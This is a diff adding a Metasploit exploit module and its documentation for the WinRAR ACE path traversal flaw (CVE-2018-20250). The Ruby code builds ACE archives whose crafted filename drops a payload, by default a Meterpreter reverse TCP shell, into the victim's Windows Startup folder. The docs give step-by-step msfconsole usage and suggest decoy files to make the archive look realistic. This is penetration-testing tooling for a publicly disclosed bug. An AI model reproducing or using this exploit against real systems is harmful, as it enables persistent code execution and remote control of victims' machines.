diff --git a/documentation/modules/exploit/windows/fileformat/winrar_ace.md b/documentation/modules/exploit/windows/fileformat/winrar_ace.md new file mode 100644 index 0000000000..ad8bf9879e --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/winrar_ace.md @@ -0,0 +1,282 @@ +## Introduction + +**From the CVE-2018-20250 NVD Page**: +In WinRAR versions prior to and including 5.61, there is a path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path. + +This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell. + +## Vulnerable Applications + +- RARLAB WinRAR <= 5.61 + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/windows/fileformat/winrar_ace` +3. Do: `set FILENAME [FILENAME]`. Name is `msf.ace` by default. +4. Optional: Do: `set CUSTFILE [CUSTFILE]` to use a custom payload. +5. Optional: Do: `set PAYLOAD [PAYLOAD]`. `windows/meterpreter/reverse_tcp` by default. Skip if using a custom payload. +6. Configure your payload if using a Metasploit-provided payload. Skip if using a custom payload. +7. Optional: Do: `set FILE_LIST [FILE_LIST]` to provide a list of other files to add to the ACE archive. +8. Do: `exploit` +9. **Verify** that a file is created (by default in `~/.msf4/local/`) and that it passes `**acefile.py**`'s checks + +## Options + +**FILENAME** +Filename to output. Default is `msf.ace`. Other extensions like `rar` and `zip` can be used as WinRAR parses files by their headers and not by extension. + +**CUSTFILE** +Optional. Custom payload to use. Can be anything. Just be aware that some files are not *meant* to be executed in case you're wondering why the shellz ain't poppin'. + +**FILE_LIST** +Optional. A list of other files to be included in the resulting ACE archive. The specified file must contain full paths to other files. Compression is NOT taking place. This can be used to make the output file seem more realistic. + +## Examples + +- Tested on a Windows Server 2019 Datacenter x64, fully patched, with WinRAR 5.61 + +### Test with autogenerated payload, no additional files in archive +Output from Metasploit: +``` +msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.72.1 +LHOST => 172.16.72.1 +msf5 exploit(windows/fileformat/winrar_ace) > exploit + +[*] Payload filename: sGrBPr.exe +[+] msf.ace stored at /home/msfdev2/.msf4/local/msf.ace +msf5 exploit(windows/fileformat/winrar_ace) > +``` + +Verify checksums using `acefile`: +``` +msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/msf.ace +volume + filename .msf4/local/msf.ace + filesize 73972 + headers MAIN:1 FILE:1 others:0 +header + hdr_crc 0x286b + hdr_size 49 + hdr_type 0x00 MAIN + hdr_flags 0x9000 ADVERT|SOLID + magic b'**ACE**' + eversion 20 2.0 + cversion 20 2.0 + host 0x02 Win32 + volume 0 + datetime 0x4e561810 2019-02-22 03:00:32 + reserved1 97 4f f6 aa 00 00 00 00 + advert b'*UNREGISTERED VERSION*' + comment b'' + reserved2 b'' +header + hdr_crc 0x0131 + hdr_size 113 + hdr_type 0x01 FILE32 + hdr_flags 0x8001 ADDSIZE|SOLID + packsize 73802 + origsize 73802 + datetime 0x4e55b063 2019-02-21 22:03:06 + attribs 0x00000020 ARCHIVE + crc32 0xab7ba1d3 + comptype 0x00 stored + compqual 0x03 normal + params 0x000a + reserved1 0x4554 + filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sGrBPr.exe' + comment b'' + ntsecurity b'' + reserved2 b'' +msfdev2@automata:~$ +``` + +### Test with custom payload, no additional files in archive +Custom payload to be used: +``` +msfdev2@automata:~$ ls -la | grep abcdef.exe +-rw-r--r-- 1 msfdev2 msfdev2 73802 Apr 16 22:11 abcdef.exe +msfdev2@automata:~$ +``` + +Output from Metasploit: +``` +msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe +CUSTFILE => /home/msfdev2/abcdef.exe +msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME msf2.ace +FILENAME => msf2.ace +msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 +LHOST => 172.16.79.1 +msf5 exploit(windows/fileformat/winrar_ace) > exploit + +[*] Using a custom payload: abcdef.exe +[*] Payload filename: abcdef.exe +[+] msf2.ace stored at /home/msfdev2/.msf4/local/msf2.ace +msf5 exploit(windows/fileformat/winrar_ace) > +``` + +Verify checksums using `acefile`: +``` +msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/msf2.ace +volume + filename .msf4/local/msf2.ace + filesize 73972 + headers MAIN:1 FILE:1 others:0 +header + hdr_crc 0x286b + hdr_size 49 + hdr_type 0x00 MAIN + hdr_flags 0x9000 ADVERT|SOLID + magic b'**ACE**' + eversion 20 2.0 + cversion 20 2.0 + host 0x02 Win32 + volume 0 + datetime 0x4e561810 2019-02-22 03:00:32 + reserved1 97 4f f6 aa 00 00 00 00 + advert b'*UNREGISTERED VERSION*' + comment b'' + reserved2 b'' +header + hdr_crc 0x14c6 + hdr_size 113 + hdr_type 0x01 FILE32 + hdr_flags 0x8001 ADDSIZE|SOLID + packsize 73802 + origsize 73802 + datetime 0x4e55b063 2019-02-21 22:03:06 + attribs 0x00000020 ARCHIVE + crc32 0x6735f66e + comptype 0x00 stored + compqual 0x03 normal + params 0x000a + reserved1 0x4554 + filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\abcdef.exe' + comment b'' + ntsecurity b'' + reserved2 b'' +msfdev2@automata:~$ +``` + +### Test with custom payload, 2 additional files in archive +Contents of `FILE_LIST`: +``` +msfdev2@automata:~$ cat ace_files.txt +/home/msfdev2/hello.txt +/home/msfdev2/world.txt +msfdev2@automata:~$ +``` + +Contents of each file in the list: +``` +msfdev2@automata:~$ cat hello.txt +hello +msfdev2@automata:~$ cat world.txt +world +msfdev2@automata:~$ +``` + +Custom payload to be used: +``` +msfdev2@automata:~$ ls -la | grep abcdef.exe +-rw-r--r-- 1 msfdev2 msfdev2 73802 Apr 16 22:11 abcdef.exe +msfdev2@automata:~$ +``` + +Output from Metasploit: +``` +msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe +CUSTFILE => abcdef.exe +msf5 exploit(windows/fileformat/winrar_ace) > set FILE_LIST /home/msfdev2/ace_files.txt +FILE_LIST => ace_files.txt +msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME custom.ace +FILENAME => custom.ace +msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1 +LHOST => 172.16.79.1 +msf5 exploit(windows/fileformat/winrar_ace) > exploit + +[*] Using the provided list of files @ /home/msfdev2/ace_files.txt... +[*] Using a custom payload: abcdef.exe +[*] Payload filename: abcdef.exe +[+] custom.ace stored at /home/msfdev2/.msf4/local/custom.ace +msf5 exploit(windows/fileformat/winrar_ace) > +``` + +Verify checksums using `acefile`: +``` +msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/custom.ace +volume + filename .msf4/local/custom.ace + filesize 74072 + headers MAIN:1 FILE:3 others:0 +header + hdr_crc 0x286b + hdr_size 49 + hdr_type 0x00 MAIN + hdr_flags 0x9000 ADVERT|SOLID + magic b'**ACE**' + eversion 20 2.0 + cversion 20 2.0 + host 0x02 Win32 + volume 0 + datetime 0x4e561810 2019-02-22 03:00:32 + reserved1 97 4f f6 aa 00 00 00 00 + advert b'*UNREGISTERED VERSION*' + comment b'' + reserved2 b'' +header + hdr_crc 0x8965 + hdr_size 40 + hdr_type 0x01 FILE32 + hdr_flags 0x8001 ADDSIZE|SOLID + packsize 6 + origsize 6 + datetime 0x4e55b063 2019-02-21 22:03:06 + attribs 0x00000020 ARCHIVE + crc32 0xc9c5cfdf + comptype 0x00 stored + compqual 0x03 normal + params 0x000a + reserved1 0x4554 + filename b'hello.txt' + comment b'' + ntsecurity b'' + reserved2 b'' +header + hdr_crc 0x3161 + hdr_size 40 + hdr_type 0x01 FILE32 + hdr_flags 0x8001 ADDSIZE|SOLID + packsize 6 + origsize 6 + datetime 0x4e55b063 2019-02-21 22:03:06 + attribs 0x00000020 ARCHIVE + crc32 0x22c79e57 + comptype 0x00 stored + compqual 0x03 normal + params 0x000a + reserved1 0x4554 + filename b'world.txt' + comment b'' + ntsecurity b'' + reserved2 b'' +header + hdr_crc 0x14c6 + hdr_size 113 + hdr_type 0x01 FILE32 + hdr_flags 0x8001 ADDSIZE|SOLID + packsize 73802 + origsize 73802 + datetime 0x4e55b063 2019-02-21 22:03:06 + attribs 0x00000020 ARCHIVE + crc32 0x6735f66e + comptype 0x00 stored + compqual 0x03 normal + params 0x000a + reserved1 0x4554 + filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\abcdef.exe' + comment b'' + ntsecurity b'' + reserved2 b'' +msfdev2@automata:~$ +``` \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/winrar_ace.rb b/modules/exploits/windows/fileformat/winrar_ace.rb new file mode 100644 index 0000000000..56aeef2bf1 --- /dev/null +++ b/modules/exploits/windows/fileformat/winrar_ace.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +# +# TODO: add other non-payload files + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution', + 'Description' => %q{ + In WinRAR versions prior to and including 5.61, there is path traversal vulnerability + when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename + field is manipulated with specific patterns, the destination (extraction) folder is + ignored, thus treating the filename as an absolute path. This module will attempt to + extract a payload to the startup folder of the current user. It is limited such that + we can only go back one folder. Therefore, for this exploit to work properly, the user + must extract the supplied RAR file from one folder within the user profile folder + (e.g. Desktop or Downloads). User restart is required to gain a shell. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nadav Grossman', # exploit discovery + 'Imran E. Dawoodjee ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2018-20250'], + ['EDB', '46552'], + ['BID', '106948'], + ['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'], + ['URL', 'https://apidoc.roe.ch/acefile/latest/'], + ['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'], + ], + 'Platform' => 'win', + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, + 'Targets' => + [ + [ 'RARLAB WinRAR <= 5.61', {} ] + ], + 'DisclosureDate' => 'Feb 05 2019', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']), + OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']), + OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', '']) + ]) + + end + + def exploit + ace_header = "" + # All hex values are already in little endian. + # HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE. + # The bogus value for HEAD_CRC will be replaced later. + ace_header << "AA" + # HEAD_SIZE: header size. \x31\x00 says 49. + ace_header << "\x31\x00" + # HEAD_TYPE: header type. Archive header is 0. + ace_header << "\x00" + # HEAD_FLAGS: header flags + ace_header << "\x00\x90" + # ACE magic + ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A" + # VER_EXTRACT: version needed to extract archive + ace_header << "\x14" + # VER_CREATED: version used to create archive + ace_header << "\x14" + # HOST_CREATED: host OS for ACE used to create archive + ace_header << "\x02" + # VOLUME_NUM: which volume of a multi-volume archive? + ace_header << "\x00" + # TIME_CREATED: date and time in MS-DOS format + ace_header << "\x10\x18\x56\x4E" + # RESERVED1 + ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00" + # AV_SIZE: advert size + ace_header << "\x16" + # AV: advert which shows if registered/unregistered. + # Full advert says "*UNREGISTERED VERSION*" + ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A" + + # calculate the CRC32 of ACE header, and get the lower 2 bytes + ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16) + ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16) + ace_header[0,2] = [ace_header_crc16].pack("v") + + # start putting the ACE file together + ace_file = "" + ace_file << ace_header + + # create headers and append file data after header + unless datastore["FILE_LIST"].empty? + print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...") + File.binread(datastore["FILE_LIST"]).each_line do |file| + file = file.chomp + file_header_and_data = create_file_header_and_data(file, false, false) + ace_file << file_header_and_data + end + end + + # autogenerated payload + if datastore["CUSTFILE"].empty? + payload_filename = "" + # 72 characters + payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + # 6 characters + payload_filename << rand_text_alpha(6) + # 4 characters + payload_filename << ".exe" + payload_file_header = create_file_header_and_data(payload_filename, true, false) + # user-defined payload + else + print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}") + payload_filename = "" + # 72 characters + payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + # n characters + payload_filename << ::File.basename(datastore["CUSTFILE"]) + payload_file_header = create_file_header_and_data(payload_filename, true, true) + end + + vprint_status("Payload filename: #{payload_filename.from(72)}") + + # append payload file header and the payload itself into the rest of the data + ace_file << payload_file_header + # create the file + file_create(ace_file) + end + + # The CRC implementation used in ACE does not take the last step in calculating CRC32. + # That is, it does not flip the bits. Therefore, it can be easily calculated by taking + # the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to + # the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so + # applying a bitwise OR on an integer will produce its negative + 1. + def crc32(data) + table = Zlib.crc_table + crc = 0xffffffff + data.unpack('C*').each { |b| + crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) + } + -(~crc) - 1 + end + + # create file headers for each file to put into the output ACE file + def create_file_header_and_data(path, is_payload, is_custom_payload) + #print_status("Length of #{path}: #{path.length}") + if is_payload and is_custom_payload + file_data = File.binread(path.from(72)) + elsif is_payload and !is_custom_payload + file_data = generate_payload_exe + else + file_data = File.binread(File.basename(path)) + end + + file_data_crc32 = crc32(file_data).to_i + + # HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE. + # The bogus value for HEAD_CRC will be replaced later. + file_header = "" + file_header << "AA" + # HEAD_SIZE: file header size. + if is_payload + file_header << [31 + path.length].pack("v") + else + file_header << [31 + ::File.basename(path).length].pack("v") + end + # HEAD_TYPE: header type is 1. + file_header << "\x01" + # HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID. + file_header << "\x01\x80" + # PACK_SIZE: size when packed. + file_header << [file_data.length].pack("V") + #print_status("#{file_data.length}") + # ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place. + file_header << [file_data.length].pack("V") + # FTIME: file date and time in MS-DOS format + file_header << "\x63\xB0\x55\x4E" + # ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API. + file_header << "\x20\x00\x00\x00" + # CRC32: CRC32 of the compressed file + file_header << [file_data_crc32].pack("V") + # Compression type + file_header << "\x00" + # Compression quality + file_header << "\x03" + # Parameter for decompression + file_header << "\x0A\x00" + # RESERVED1 + file_header << "\x54\x45" + # FNAME_SIZE: size of filename string + if is_payload + file_header << [path.length].pack("v") + else + # print_status("#{::File.basename(path).length}") + file_header << [::File.basename(path).length].pack("v") + end + #file_header << [path.length].pack("v") + # FNAME: filename string. Empty for now. Fill in later. + if is_payload + file_header << path + else + file_header << ::File.basename(path) + end + + #print_status("Calculating other_file_header...") + file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16) + file_header_crc16 = file_header_crc32.last(4).to_i(base=16) + file_header[0,2] = [file_header_crc16].pack("v") + file_header << file_data + end +end